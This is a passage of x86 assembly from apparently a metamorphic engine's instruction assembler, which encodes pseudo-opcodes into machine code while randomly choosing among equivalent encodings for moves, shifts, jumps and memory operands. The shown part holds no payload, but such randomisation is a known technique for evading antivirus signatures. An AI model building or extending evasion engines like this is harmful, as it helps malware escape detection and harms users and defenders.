@@Assemble_TEST8RegReg_00:
call RandomBoolean ; Select randomly if we use the normal
or eax, eax ; opcode or the inversed one
jz @@Assemble_OPRegReg_NextFF
jmp @@Assemble_OPRegReg_Inversed_2
@@Assemble_MOVRegReg:
mov ebx, 88h ; MOV opcode
@@Assemble_OPRegReg_Normal:
add ebx, 1 ; Set 32 bits
@@Assemble_OP8RegReg_Normal:
call RandomBoolean ; Select if we inverse it
or eax, eax
jz @@Assemble_OPRegReg_Inversed
@@Assemble_OPRegReg_NextFF:
mov ecx, [esi+1] ; Get in ECX the source
mov edx, [esi+7] ; Get in EDX the destiny
jmp @@Assemble_OPRegReg_Next00 ; Jump to complete
@@Assemble_OPRegReg_Inversed:
add ebx, 2 ; If inversed, add 2 to the opcode
@@Assemble_OPRegReg_Inversed_2:
mov ecx, [esi+7] ; Get in ECX the destiny
mov edx, [esi+1] ; Get in EDX the source
@@Assemble_OPRegReg_Next00:
mov [edi], ebx ; Set the opcode
mov eax, ecx ; Set ECX in bits 5,4,3 and EDX in
shl eax, 3 ; bits 2,1,0
add eax, 0C0h ; Activate bits 7&6 to use bits 2,1,0
add eax, edx ; as a register rather than as a
mov [edi+1], eax ; memory operand.
add edi, 2 ; Store it and increment the EIP
ret
@@Assemble_OPRegMem:
cmp ebx, 38h ; Normal operation?
jbe @@Assemble_OPRegMem_Normal ; Then jump
cmp ebx, 40h ; MOV?
jz @@Assemble_MOVRegMem ; Then jump
@@Assemble_TESTRegMem: ; TEST
mov ebx, 85h ; Set the opcode
jmp @@Assemble_OPRegMem_Normal_00
@@Assemble_MOVRegMem:
mov ebx, 88h ; +3 = 8Bh
@@Assemble_OPRegMem_Normal:
add ebx, 3
@@Assemble_OPRegMem_Normal_00:
mov [edi], ebx ; Set the opcode
add edi, 1
mov ebx, [esi+7] ; Get the register
and ebx, 7 ; Mix it with the memory address
shl ebx, 3 ; opcode data
call Asm_MakeMemoryAddress ; Construct the mem. reference
ret
@@Assemble_OPMemReg:
cmp ebx, 38h ; Generic operation?
jbe @@Assemble_OPMemReg_Normal
cmp ebx, 40h ; MOV?
jnz @@Assemble_TESTRegMem ; Jump if it's TEST
@@Assemble_MOVMemReg:
mov ebx, 88h ; Set MOV opcode (+1 = 32 bits op.)
;jmp @@Assemble_OPRegMem_Normal_00
@@Assemble_OPMemReg_Normal:
add ebx, 1
jmp @@Assemble_OPRegMem_Normal_00
;;;-------------------------------------------------
; Assembly of INC/DEC Reg
@@Assemble_INCDECReg:
call RandomBoolean ; Select one codification or other
or eax, eax ; If EAX=0, use INC/DEC Mem opcode
jz @@Assemble_INCDECReg_2 ; forced to register usage
@@Assemble_INCDECReg_1:
mov eax, [esi+7] ; Get the operation (0=INC, 8=DEC)
add eax, 40h ; Make it 40h/48h (x86 opcode)
@@Assemble_INCDECReg_Common:
add eax, [esi+1] ; Bind the register to the opcode
mov [edi], eax ; and write it
add edi, 1
ret
@@Assemble_INCDECReg_2:
mov eax, 0FFh ; INC/DEC/etc. Mem32 extended opcode
@@Assemble_INCDECReg_2_8b:
mov [edi], eax ; Write it
add edi, 1
mov eax, [esi+7] ; Get the operation (0 or 8)
add eax, 0C0h ; Force it to use registers
jmp @@Assemble_INCDECReg_Common ; Jump to complete it
@@Assemble_INCDECReg_8b:
mov eax, 0FEh ; INC/DEC/PUSH/etc. Mem8 opcode
jmp @@Assemble_INCDECReg_2_8b
@@Assemble_INCDECMem:
mov eax, 0FFh ; FF = Extended opcode for INC, DEC, etc.
@@Assemble_INCDECMem_2_8b: ; (32 bits)
mov [edi], eax ; Set the opcode
add edi, 1
mov ebx, [esi+7] ; Get the operation and bind it to the
call Asm_MakeMemoryAddress ; memory operand codification
ret ; (in 2nd opcode)
@@Assemble_INCDECMem_8b:
mov eax, 0FEh ; INC/DEC/PUSH/etc. opcode for 8 bits
jmp @@Assemble_INCDECMem_2_8b
@@Assemble_Next00:
cmp eax, 4Eh ; INC/DEC Reg32 pseudoopcode?
jz @@Assemble_INCDECReg
cmp eax, 4Eh+80h ; INC/DEC Reg8 pseudoopcode?
jz @@Assemble_INCDECReg_8b
cmp eax, 4Fh ; INC/DEC Mem32 pseudoopcode?
jz @@Assemble_INCDECMem
cmp eax, 4Fh+80h ; INC/DEC Mem8 pseudoopcode?
jz @@Assemble_INCDECMem_8b
@@Assemble_Next00_: ; Generic 8 bits opcodes
cmp eax, 00h+80h
jb @@Assemble_Next01
cmp eax, 4Ch+80h
ja @@Assemble_Next01
mov ebx, eax ; Get the type of operation
and ebx, 78h
and eax, 7
or eax, eax ; OP Reg,Imm?
jz @@Assemble_OP8RegImm
cmp eax, 1 ; OP Reg,Reg?
jz @@Assemble_OP8RegReg
cmp eax, 2 ; OP Reg,Mem?
jz @@Assemble_OP8RegMem
cmp eax, 3 ; OP Mem,Reg?
jz @@Assemble_OP8MemReg
@@Assemble_OP8MemImm: ; OP Mem,Imm
cmp ebx, 38h
jbe @@Assemble_OP8MemImm_Normal ; Jump if it's not MOV/TEST
cmp ebx, 40h ; MOV?
jz @@Assemble_MOV8MemImm
@@Assemble_TEST8MemImm: ; TEST
xor ebx, ebx
mov eax, 0F6h ; x86 TEST Mem8,Imm opcode
call @@Assemble_OPMemImm_Normal_00 ; Assemble it
sub edi, 3 ; Subtract 3 because it added
ret ; DWORD length, not byte length
@@Assemble_MOV8MemImm:
xor ebx, ebx ; The same as with TEST, but with
mov eax, 0C6h ; the opcode 0C6h
call @@Assemble_OPMemImm_Normal_00
sub edi, 3
ret
@@Assemble_OP8MemImm_Normal:
call Random ; Select randomly 80h or 82h (for
and eax, 2 ; 8 bits both are the same)
add eax, 80h
call @@Assemble_OPMemImm_Normal_00
sub edi, 3
ret
@@Assemble_OP8RegImm:
cmp ebx, 38h ; Jump if not MOV/TEST
jbe @@Assemble_OP8RegImm_Normal
cmp ebx, 40h ; MOV?
jz @@Assemble_MOV8RegImm
@@Assemble_TEST8RegImm: ; Let's code TEST
mov eax, [esi+1] ; Get the register in EAX
and eax, 7
or eax, eax ; If Reg == AL, we can use
jnz @@Assemble_TEST8RegImm_NotEAX ; the specific opcode for
call RandomBoolean ; AL register: A8h
or eax, eax
jz @@Assemble_TEST8RegImm_NotEAX
mov eax, 0A8h
call @@Assemble_OPRegImm_OneByteOpcode
sub edi, 3
ret
@@Assemble_TEST8RegImm_NotEAX: ; If it's not AL, then we
mov eax, 0F6h ; use the normal opcode: F6
xor ebx, ebx ; (the same as with TEST Reg,
call @@Assemble_OPRegImm_Normal_01 ; Mem but with the
sub edi, 3 ; register usage activated.
ret
@@Assemble_MOV8RegImm:
call RandomBoolean ; If MOV, we can use the
or eax, eax ; normal, one-byte opcode
jz @@Assemble_MOV8RegImm_OneByteOpcode ; or the opcode used
mov eax, 0C6h ; for MOV Mem,Imm but with
xor ebx, ebx ; register usage active.
call @@Assemble_OPRegImm_Normal_01
sub edi, 3
ret
@@Assemble_MOV8RegImm_OneByteOpcode:
mov eax, [esi+1]
add eax, 0B0h ; MOV Reg8,Imm
call @@Assemble_OPRegImm_OneByteOpcode
sub edi, 3
ret
@@Assemble_OP8RegImm_Normal:
mov eax, [esi+1] ; If the register is AL, we
and eax, 7 ; can use the AL exclusive
or eax, eax ; opcode
jnz @@Assemble_OP8RegImm_Normal_00
call RandomBoolean ; Do we use it?
or eax, eax
jz @@Assemble_OP8RegImm_Normal_00 ; If no, jump
mov eax, ebx ; Get the opcode
add eax, 4 ; Add 4 to the opcode to make
call @@Assemble_OPRegImm_OneByteOpcode ; it "OP AL,x"
sub edi, 3
ret
@@Assemble_OP8RegImm_Normal_00:
call Random ; The same as with OP Reg,Imm: both
and eax, 2 ; 80h and 82h opcodes are valid for
add eax, 80h ; these instructions.
call @@Assemble_OPRegImm_Normal_01
sub edi, 3
ret
@@Assemble_OP8RegReg:
cmp ebx, 38h ; Jump if it's not MOV/TEST
jbe @@Assemble_OP8RegReg_Normal
cmp ebx, 40h
jz @@Assemble_MOV8RegReg
@@Assemble_TEST8RegReg: ; TEST?
mov ebx, 84h ; Then use TEST opcode
jmp @@Assemble_TEST8RegReg_00
@@Assemble_MOV8RegReg:
mov ebx, 88h ; Use MOV opcode
jmp @@Assemble_OP8RegReg_Normal
@@Assemble_OP8RegMem:
cmp ebx, 38h ; As always...
jbe @@Assemble_OP8RegMem_Normal
cmp ebx, 40h
jz @@Assemble_MOV8RegMem
@@Assemble_TEST8RegMem:
mov ebx, 84h ; TEST opcode
jmp @@Assemble_OPRegMem_Normal_00
@@Assemble_MOV8RegMem:
mov ebx, 88h ; MOV opcode
@@Assemble_OP8RegMem_Normal:
add ebx, 2
jmp @@Assemble_OPRegMem_Normal_00
@@Assemble_OP8MemReg:
cmp ebx, 38h ; Again...
jbe @@Assemble_OPRegMem_Normal_00
cmp ebx, 40h ; TEST Reg,Mem = TEST Mem,Reg
jnz @@Assemble_TEST8RegMem
@@Assemble_MOV8MemReg:
mov ebx, 88h ; MOV opcode
jmp @@Assemble_OPRegMem_Normal_00
;;;-------------------------------------------------
@@Assemble_Next01:
cmp eax, 50h ; PUSH pseudoopcode?
jnz @@Assemble_Next02
call RandomBoolean ; Select if we use the specific
or eax, eax ; register opcode or the memory
jz @@Assemble_PUSHReg_2 ; opcode set up to use registers
@@Assemble_PUSHReg_1:
mov eax, [esi] ; Get the opcode (50h or 58h)
and eax, 0FFh
mov ebx, [esi+1] ; Bind the register
add eax, ebx
@@Assemble_StoreByte:
mov [edi], eax ; Store the one-byte opcode
add edi, 1
ret
@@Assemble_PUSHReg_2:
mov eax, 0FFh ; Two bytes opcode for PUSH Reg is
mov [edi], eax ; FF,(F0 + Reg)
mov eax, [esi+1]
add eax, 0F0h
mov [edi+1], eax
add edi, 2
ret
@@Assemble_Next02:
cmp eax, 58h ; POP Reg?
jnz @@Assemble_Next03
call RandomBoolean ; Select one-byte or two-bytes opc.
or eax, eax
jz @@Assemble_PUSHReg_1 ; POP Reg (one byte opcode)
@@Assemble_POPReg_2:
mov eax, 8Fh ; Two bytes POP Reg opcode is
mov [edi], eax ; 8F,(C0 + Reg)
mov eax, [esi+1]
add eax, 0C0h
mov [edi+1], eax
add edi, 2
ret
@@Assemble_Next03:
cmp eax, 51h ; PUSH Mem?
jnz @@Assemble_Next04
mov eax, 0FFh ; Opcode is FF,(30+mem codification)
mov ebx, 30h
@@Assemble_POPMem:
mov [edi], eax ; Set opcode (FF or 8F)
add edi, 1
call Asm_MakeMemoryAddress ; Code the memory reference
ret
@@Assemble_Next04:
cmp eax, 59h ; POP Mem?
jnz @@Assemble_Next05
mov eax, 8Fh ; Opcode is 8F,(00+mem codification)
xor ebx, ebx
jmp @@Assemble_POPMem
@@Assemble_Next05:
cmp eax, 68h ; PUSH Imm?
jnz @@Assemble_Next06
mov [edi], eax ; Set opcode 68h
mov eax, [esi+7] ; Get the Imm to push
cmp eax, 7Fh
jbe @@Assemble_PUSHImm_Byte ; Check if we can use the
cmp eax, 0FFFFFF80h ; PUSH signed-Imm opcode
jae @@Assemble_PUSHImm_Byte
@@Assemble_PUSHImm_Dword:
mov [edi+1], eax ; Store the Imm
add edi, 5 ; Increase the storage EIP
ret
@@Assemble_PUSHImm_Byte:
push eax ; Select randomly if we use a sign
call RandomBoolean ; extended byte Imm or a dword Imm
mov ebx, eax
pop eax
or ebx, ebx
jz @@Assemble_PUSHImm_Dword
mov ebx, 6Ah ; Insert the opcode
mov [edi], ebx
mov [edi+1], eax ; Put the value
add edi, 2
ret
@@Assemble_Next06:
cmp eax, 0E0h ; NOT?
jnz @@Assemble_Next07
mov ebx, 0D0h ; EBX = NOT operation under F7 opcode
@@Assemble_NEG32Reg:
mov eax, 0F7h ; F7 = opcode of NOT/NEG and etc.
@@Assemble_Nxx8Reg:
mov [edi], eax ; Set the first opcode
mov eax, [esi+1]
add eax, ebx ; Bind the register to the 2nd opcd.
mov [edi+1], eax ; Store it
add edi, 2
ret
@@Assemble_Next07:
cmp eax, 0E4h ; NEG Reg?
jnz @@Assemble_Next08
mov ebx, 0D8h ; Set NEG Reg operation on 2nd opc.
jmp @@Assemble_NEG32Reg
@@Assemble_Next08:
cmp eax, 0E2h ; NOT Reg8?
jnz @@Assemble_Next09
mov ebx, 0D0h ; Set NOT Reg operation on 2nd opcode
@@Assemble_NEG8Reg:
mov eax, 0F6h ; Same as F7 but with 8 bits operands
jmp @@Assemble_Nxx8Reg
@@Assemble_Next09:
cmp eax, 0E6h ; NEG Reg8?
jnz @@Assemble_Next10
mov ebx, 0D8h ; Set NEG Reg op. on 2nd opcode
jmp @@Assemble_NEG8Reg
@@Assemble_Next10:
cmp eax, 0E1h ; NOT Mem?
jnz @@Assemble_Next11
mov ebx, 10h ; Then set NOT Mem op. on 2nd opcode
@@Assemble_NEG32Mem:
mov eax, 0F7h ; Set NOT/NEG/etc. opcode (32 bits)
@@Assemble_Nxx8Mem:
mov [edi], eax ; Set the first opcode
add edi, 1
call Asm_MakeMemoryAddress ; Construct the memory reference
ret ; (mixing it with the value in EBX)
@@Assemble_Next11:
cmp eax, 0E5h ; NEG Mem?
jnz @@Assemble_Next12
mov ebx, 18h ; Then set NEG Mem on 2nd opcode and
jmp @@Assemble_NEG32Mem ; jump to construct the operation
@@Assemble_Next12:
cmp eax, 0E3h ; NOT Mem8?
jnz @@Assemble_Next13
mov ebx, 10h ; Set NOT Mem8 op.
@@Assemble_NEG8Mem:
mov eax, 0F6h ; Use 8 bits opcode for NOT/NEG
jmp @@Assemble_Nxx8Mem
@@Assemble_Next13:
cmp eax, 0E7h ; NEG Mem8?
jnz @@Assemble_Next14
mov ebx, 18h ; Then set NEG Mem8 op. on 2nd opc.
jmp @@Assemble_NEG8Mem ; and jump to construct the instrc.
@@Assemble_Next14:
cmp eax, 0EAh ; CALL Mem?
jnz @@Assemble_Next15
mov eax, 0FFh ; Set the opcode: FF,(10+mem. ref)
mov ebx, 10h
jmp @@Assemble_Nxx8Mem ; Code mem address
@@Assemble_Next15:
cmp eax, 0EBh ; JMP Mem?
jnz @@Assemble_Next16
mov eax, 0FFh ; Then set the opcode:
mov ebx, 20h ; FF,(20+mem ref.)
jmp @@Assemble_Nxx8Mem
@@Assemble_Next16:
cmp eax, 0ECh ; CALL Reg?
jnz @@Assemble_Next17
mov eax, 0FFh ; Then use the same opcode than
mov ebx, 0D0h ; CALL Mem but ORing the 2nd opcode
jmp @@Assemble_Nxx8Reg ; with C0 (bits 7&6 active), so we
; tell the processor to use bits 2,1,0
; as a direct register rather than as
; a memory address codification
@@Assemble_Next17:
cmp eax, 0EDh ; JMP Reg?
jnz @@Assemble_Next18
mov eax, 0FFh ; Then, the same as above but with
mov ebx, 0E0h ; 2nd opcode = 20h OR C0h
jmp @@Assemble_Nxx8Reg
@@Assemble_Next18:
cmp eax, 0F0h ; SHIFT Reg operation?
jnz @@Assemble_Next19
mov eax, [esi+7] ; Get the value
and eax, 0FFh
cmp eax, 1 ; If it's 1, we can use SHIFT,1 ops.
jz @@Assemble_SHIFT_1
@@Assemble_SHIFT_2:
mov ecx, 0C1h ; Use opcode C1 and a mask of E0 to
mov edx, 0E0h ; get random upper bits in the shift
@@Assemble_SHIFT8_1_00: ; value
call @@Assemble_SHIFT_x ; Set the opcode and the operation
mov ebx, [esi+7] ; Get the value
and ebx, 0FFh
call Random ; Get a random number
and eax, edx ; Mask it with EDX (00 or E0)
add eax, ebx ; Add the value to shift
mov [edi], eax ; Set the Imm in the instruction
add edi, 1
ret ; Return
@@Assemble_SHIFT_1:
call RandomBoolean ; Select randomly if we use the ,1
or eax, eax ; opcode or the ,x one
jz @@Assemble_SHIFT_2
mov ecx, 0D1h ; Opcode D1: SHIFT Mem/Reg,1
@@Assemble_SHIFT_x:
mov [edi], ecx ; Set the opcode in ECX
add edi, 1
mov ebx, [esi+8] ; Get the operation
and ebx, 8 ; Reduce it to SHIFT LEFT/RIGHT
add ebx, 0C0h ; Select randomly SHL/ROL or SHR/ROR.
call Random ; We have prepared the shifting instr.
and eax, 20h ; in the engine to support either SHx
add ebx, eax ; or ROx indifferently
mov eax, [esi+1] ; Get the register
and eax, 7
add eax, ebx ; Set it into the opcode
mov [edi], eax ; Insert the opcode
add edi, 1
ret
@@Assemble_Next19:
cmp eax, 0F2h ; SHIFT Reg8?
jnz @@Assemble_Next20
mov eax, [esi+7] ; Get the value
and eax, 0FFh ; Check if it's 1 to see if we can
cmp eax, 1 ; use the ,1 opcode
jz @@Assemble_SHIFT8_1
@@Assemble_SHIFT8_2:
mov ecx, 0C0h ; Set 1st opcode as C0
xor edx, edx ; Mask with 00 the upper bits of the
jmp @@Assemble_SHIFT8_1_00 ; shifting value
@@Assemble_SHIFT8_1:
call RandomBoolean ; Select randomly the using of ,1/,x
or eax, eax
jz @@Assemble_SHIFT8_2
mov ecx, 0D0h ; Set 1st opcode as D0
jmp @@Assemble_SHIFT_x ; Jump to complete the opcode
@@Assemble_Next20:
cmp eax, 0F1h ; SHIFT Mem?
jnz @@Assemble_Next21
mov eax, [esi+7]
and eax, 0FFh ; Check the value to look if we can
cmp eax, 1 ; use ,1 or ,x
jz @@Assemble_SHIFTMem_1
@@Assemble_SHIFTMem_2:
mov ecx, 0C1h ; Opcode C1, mask E0
mov edx, 0E0h
@@Assemble_SHIFT8Mem_1_00:
push edx ; Make the opcode
call @@Assemble_SHIFTMem_x
pop edx ; Set the value with random upper
mov ebx, [esi+7] ; bits for 32 bits shiftings (mask of
and ebx, 0FFh ; E0) or upper bits to 0 if 8 bits
call Random ; mask of 00)
and eax, edx
add eax, ebx
mov [edi], eax
add edi, 1
ret
@@Assemble_SHIFTMem_1:
call Random ; Do we use the ,x opcode?
or eax, eax
jz @@Assemble_SHIFTMem_2 ; Jump if we decided to use it!
mov ecx, 0D1h ; Set D1 opcode
@@Assemble_SHIFTMem_x:
mov [edi], ecx ; Set the opcode
add edi, 1
mov ebx, [esi+8] ; Get the direction of the shift
and ebx, 8
call Random
and eax, 20h ; Select SHx or ROx
add ebx, eax ; Set it in EBX to mix it with the
call Asm_MakeMemoryAddress ; 2nd opcode and code the
ret ; memory address in the 2nd opc.
@@Assemble_Next21:
cmp eax, 0F3h ; SHIFT Mem8?
jnz @@Assemble_Next22
mov eax, [esi+7] ; Just the same as above but with
and eax, 0FFh ; opcodes C0 and D0 instead of C1 and
cmp eax, 1 ; D1. And, of course, a mask of 00,
jz @@Assemble_SHIFT8Mem_1 ; because the 8 bits shiftings
@@Assemble_SHIFT8Mem_2: ; don't ignore the upper bits
mov ecx, 0C0h ; as the 32 bits instructions do
xor edx, edx ; (don't ask me why)
jmp @@Assemble_SHIFT8Mem_1_00
@@Assemble_SHIFT8Mem_1:
call RandomBoolean
or eax, eax
jz @@Assemble_SHIFT8Mem_2
mov ecx, 0D0h
jmp @@Assemble_SHIFTMem_x
@@Assemble_Next22:
cmp eax, 0FCh ; LEA Reg,[Mem]?
jnz @@Assemble_Next23
mov eax, 8Dh ; Then, insert a LEA opcode (8D), set
mov [edi], eax ; in bits 5,4,3 the destiny register
add edi, 1 ; and code the memory address.
mov ebx, [esi+7]
and ebx, 7
shl ebx, 3
call Asm_MakeMemoryAddress
ret
@@Assemble_Next23:
cmp eax, 0FDh ; Direct byte insertion?
jnz @@Assemble_Next24
mov eax, [esi+1] ; Then, insert it
jmp @@Assemble_StoreByte
@@Assemble_Next24:
cmp eax, 0FEh ; RET?
jnz @@Assemble_Next25
mov eax, 0C3h ; Then, insert the RET opcode
jmp @@Assemble_StoreByte
@@Assemble_Next25:
cmp eax, 0FFh ; NOP?
jnz @@Assemble_Next26
mov eax, 90h ; Then, insert the NOP opcode
jmp @@Assemble_StoreByte
@@Assemble_Next26:
cmp eax, 70h ; Jcc?
jb @@Assemble_Next27
cmp eax, 7Fh
ja @@Assemble_Next27
mov eax, [esi+7] ; Get the type of jump: normal or
or eax, eax ; inversed (JNZ/JMP rather than JZ)
jz @@Assemble_Jump_Normal
mov eax, [esi] ; Inverse the condition
xor eax, 1
mov [edi], eax ; Store the opcode
add edi, 1 ; Increase the EIP
push edi ; Save the EIP
add edi, 1
mov eax, 0E9h ; Make a JMP to the label
mov [esi], al
call @@Assemble_Jump_Normal
pop ebx ; Get the old EIP in EBX
mov eax, edi ; Get the current EIP
sub eax, ebx ; Calculate the displacement in EAX
sub eax, 1 ; Add 1 to overpass the Jcc itself
mov [ebx], al ; Store the displacement
ret
@@Assemble_Next27:
cmp eax, 0F8h ; MOVZX Reg,[Mem8]?
jnz @@Assemble_Next28
mov eax, 0B60Fh ; Set the MOVZX opcode
mov [edi], eax
add edi, 2
mov ebx, [esi+7] ; Get the register and bind it to the
and ebx, 7 ; memory address codification in the
shl ebx, 3 ; 2nd opcode
call Asm_MakeMemoryAddress
ret
@@Assemble_Next28:
; cmp eax, 0E8h ; Here only can be opcodes E8 or E9
; jmp @@Assemble_Jump_Normal
@@Assemble_Jump_Normal:
mov ebx, [esi+1] ; Get the label
mov eax, [ebx+4] ; Get the pointed address
cmp eax, esi ; Have we coded it already?
jb @@Assemble_Jump_Backwards
@@Assemble_Jump_Fowards:
mov ebx, eax ; Get the distance
sub ebx, esi
cmp ebx, 0B0h ; 11 (max size of instruction) * 0Bh = 121.
; It must be < 128 to code a short Jcc
jbe @@Assemble_JmpFwd_Short
@@Assemble_JmpFwd_Long_Set00:
mov eax, [esi] ; Set the opcode
and eax, 0FFh
cmp eax, 7Fh ; Jcc?
jbe @@Assemble_JmpFwd_Long_Jcc
@@Assemble_JmpFwd_Long_Set:
mov [edi], eax ; Set the opcode
call Asm_AddToRelocTable ; Add it to the post-assembly
add edi, 5 ; relocation work
ret
@@Assemble_JmpFwd_Long_Jcc:
mov eax, 0Fh ; Set the opcode 0F
mov [edi], eax
add edi, 1
mov eax, [esi] ; Get the Jcc opcode, add 10h to it
add eax, 10h ; (by x86 specifications :) and set
jmp @@Assemble_JmpFwd_Long_Set ; it in the same way the
; short one.
@@Assemble_JmpFwd_Short:
call Random ; Get a random decision over the
and eax, 7 ; codification of this jump: short
or eax, eax ; or long? (long with a 1/8 of prob.)
jz @@Assemble_JmpFwd_Long_Set00
mov eax, [esi] ; Get the opcode
and eax, 0FFh
cmp eax, 0E8h ; CALL?
jz @@Assemble_JmpFwd_Long_Set ; Then, set long for sure
cmp eax, 0E9h ; JMP?
jz @@Assemble_JmpFwd_Short_JMP ; Then, set short
@@Assemble_JmpFwd_Short_Set:
mov [edi], eax ; Set the opcode
call Asm_AddToRelocTable ; Add it to post-assembly
add edi, 2 ; relocations
ret
@@Assemble_JmpFwd_Short_JMP:
add eax, 2 ; Convert the E9 opcode to EB
jmp @@Assemble_JmpFwd_Short_Set
@@Assemble_Jump_Backwards:
mov ebx, [eax+0Ch] ; Get the address of the label
sub ebx, edi
sub ebx, 2 ; Get the displacement in EBX
cmp ebx, 0FFFFFF80h ; If backwards displacement <= 128,
jb @@Assemble_Jump_Backwards_Long ; we can use short jumps.
; If not, jump
mov eax, [esi] ; Get the opcode
cmp al, 0E8h ; If it's CALL, it's long (and just
jz @@Assemble_Jump_Backwards_Long ; imagine a fist hitting
; a table categorically XD)
call Random
and eax, 7
or eax, eax ; Get a random decision to code it
jz @@Assemble_Jump_Backwards_Long ; short or long
mov eax, [esi]
cmp al, 0E9h ; JMP opcode?
jnz @@Assemble_Jump_StoreOpcode_Short ; If not, jump
add eax, 2 ; Make it 0EBh
@@Assemble_Jump_StoreOpcode_Short:
mov [edi], eax ; Store the opcode
add edi, 1
mov [edi], ebx ; Store the displacement
add edi, 1
ret
@@Assemble_Jump_Backwards_Long:
mov eax, [esi] ; Get the opcode
cmp al, 0E9h ; JMP?
jz @@Assemble_Jump_Backwards_JMP ; Then, jump there
cmp al, 0E8h ; CALL?
jz @@Assemble_Jump_Backwards_JMP ; Then, jump there
sub ebx, 4 ; Subtract the length that we haven't
mov eax, 0Fh ; subtracted yet
mov [edi], eax ; Set the first opcode of the long Jcc
add edi, 1
mov eax, [esi] ; Set the 2nd opcode
add eax, 10h
@@Assemble_Jump_Backwards_Long_Common:
mov [edi], eax ; Set the opcode
add edi, 1
mov [edi], ebx ; Set the displacement
add edi, 4
ret
@@Assemble_Jump_Backwards_JMP:
sub ebx, 3 ; Set the opcode (JMP or CALL)
jmp @@Assemble_Jump_Backwards_Long_Common
ret
AssembleInstruction endp
;; This function adds the current storage EIP to the post-assembly relocation
;; table. After all the code is assembled, we'll fix the displacements stored
;; in this table.
Asm_AddToRelocTable proc
mov ebx, [ebp+JumpRelocationTable] ; Get the last element
mov ecx, [ebp+NumberOfJumpRelocations] ; of the table
add ebx, ecx
mov [ebx], edi ; Store the address for fixing
mov eax, [esi+1] ; Store the label of destiny
mov [ebx+4], eax
add ecx, 8 ; Increase the last element pointer
mov [ebp+NumberOfJumpRelocations], ecx
ret
Asm_AddToRelocTable endp
;; This function will construct the opcode reference to a memory address using
;; the common memory address structure of our pseudoassembler. It will recode
;; the address using randomly one of the possible codifications for every
;; situation, as I expose here:
;;
;; Memory codification variants:
;;
;; Direct address
;; 05 xx xx xx xx
;; 04 25 xx xx xx xx
;;
;; 1 index + 0
;; 0x (not valid if x = 5)
;; 4x 00
;; 8x 00 00 00 00
;; 04 00xxx101 00 00 00 00
;; 44 00100xxx 00
;; 84 00100xxx 00 00 00 00
;; 1 index + byte (< 80h or > FFFFFF7Fh)
;; 4x yy
;; 8x yy ss ss ss
;; 04 00xxx101 yy ss ss ss
;; 44 00100xxx yy
;; 84 00100xxx yy ss ss ss
;; 1 index + dword
;; 8x yy yy yy yy
;; 04 00xxx101 yy yy yy yy
;; 84 00100xxx yy yy yy yy
;; 1 index * N + 0
;; 04 nnxxx101 00 00 00 00
;; 1 index * N + byte
;; 04 nnxxx101 yy ss ss ss
;; 1 index * N + dword
;; 04 nnxxx101 yy yy yy yy
;;
;; 2 index + 0 (xx(*nn),yy,zzzzzzzz)
;; 04 nnxxxyyy (yyy != 5)
;; 44 nnxxxyyy 00
;; 84 nnxxxyyy 00 00 00 00
;; 2 index + byte (<80h or > FFFFFF7Fh) (xx(*nn),yy,zzzzzzzz)
;; 44 nnxxxyyy zz
;; 84 nnxxxyyy zz ss ss ss
;; 2 index + dword (xx(*nn),yy,zzzzzzzz)
;; 84 nnxxxyyy zz zz zz zz
;;
;; The codification of the memory address will be done at [EDI], while EBX
;; can hold a value to OR to the 1st codified opcode (for example, registers
;; or operations that must be in this opcode). The function returns with all
;; prepared to follow the codification, this means, all the pointers
;; are increased and the memory address is completely finished, not having
;; to make anything more related with the memory address.
;;
Asm_MakeMemoryAddress proc
mov ecx, [esi+1]
and ecx, 0FFh
mov eax, [esi+2]
and eax, 0FFh
cmp eax, ecx
jae @@Next00
mov edx, eax
jmp @@Next01
@@Next00: mov edx, ecx
mov ecx, eax
; Now, ECX > EDX. ECX will hold also the multiplicator if we use one for
; this instruction. If not, it could be exchanged with EDX further on the
; algorithm.
@@Next01: cmp edx, 8 ; I decided to not commenting this :).
jz @@NoIndex1 ; The code is clear and understandable,
cmp ecx, 8 ; and I'm tired of commenting code!
jz @@Only1Index
cmp ecx, 7
ja @@NoExchange
call RandomBoolean
or eax, eax
jz @@NoExchange
mov eax, ecx
mov ecx, edx
mov edx, eax
@@NoExchange:
mov eax, [esi+3]
or eax, eax
jz @@2Index_0
cmp eax, 7Fh
jbe @@2Index_Byte
cmp eax, 0FFFFFF80h
jae @@2Index_Byte
@@2Index_Dword:
mov eax, 84h
@@2Index_Dword_Subr:
push eax
mov eax, ecx
and eax, 0C0h
shl ecx, 3
and ecx, 38h
add eax, ecx
add edx, eax
pop eax
jmp @@SetMemory01
@@2Index_Byte:
call RandomBoolean
or eax, eax
jz @@2Index_Dword
mov eax, 44h
call @@2Index_Dword_Subr
sub edi, 3
ret
@@2Index_0:
call RandomBoolean
or eax, eax
jz @@2Index_Byte
cmp edx, 5
jz @@2Index_Byte
mov eax, 04h
call @@2Index_Dword_Subr
sub edi, 4
ret
@@Only1Index:
; EDX = Index, no scalar (if not, it would be ECX)
mov eax, [esi+3]
or eax, eax
jz @@Only1Index_0
cmp eax, 7Fh
jbe @@Only1Index_Byte
cmp eax, 0FFFFFF80h
jae @@Only1Index_Byte
@@Only1Index_Dword:
call Random
and eax, 3
or eax, eax
jz @@Only1Index_Dword
cmp eax, 1
jz @@Only1Index_Dword_01
cmp eax, 2
jz @@Only1Index_Dword_02
@@Only1Index_Dword_03:
mov eax, 84h
add edx, 20h
jmp @@SetMemory01
@@Only1Index_Dword_02:
mov eax, 04h
shl edx, 3
add edx, 5
jmp @@SetMemory01
@@Only1Index_Dword_01:
add edx, 80h
add edx, ebx
mov [edi], edx
mov eax, [esi+3]
mov [edi+1], eax
add edi, 5
ret
@@Only1Index_Byte:
call RandomBoolean
or eax, eax
jz @@Only1Index_Dword
call RandomBoolean
or eax, eax
jz @@Only1Index_Byte_01
@@Only1Index_Byte_02:
mov eax, 44h
add eax, ebx
mov [edi], eax
add edx, 20h
mov [edi+1], edx
mov eax, [esi+3]
mov [edi+2], eax
add edi, 3
ret
@@Only1Index_Byte_01:
add edx, 40h
add edx, ebx
mov [edi], edx
mov eax, [esi+3]
mov [edi+1], eax
add edi, 2
ret
@@Only1Index_0:
call RandomBoolean
or eax, eax
jz @@Only1Index_Byte
cmp edx, 5
jz @@Only1Index_Byte
add edx, ebx
mov [edi], edx
add edi, 1
ret
@@NoIndex1: cmp ecx, 8 ; If EDX = 8, then ECX >= 8
jz @@DirectAddress
mov edx, ecx
and edx, 0C0h
and ecx, 7
shl ecx, 3
add edx, ecx
add edx, 5
mov eax, 4
@@SetMemory01:
add eax, ebx
mov [edi], eax
mov [edi+1], edx
mov eax, [esi+3]
mov [edi+2], eax
add edi, 6
ret
@@DirectAddress:
mov eax, 05h
add eax, ebx
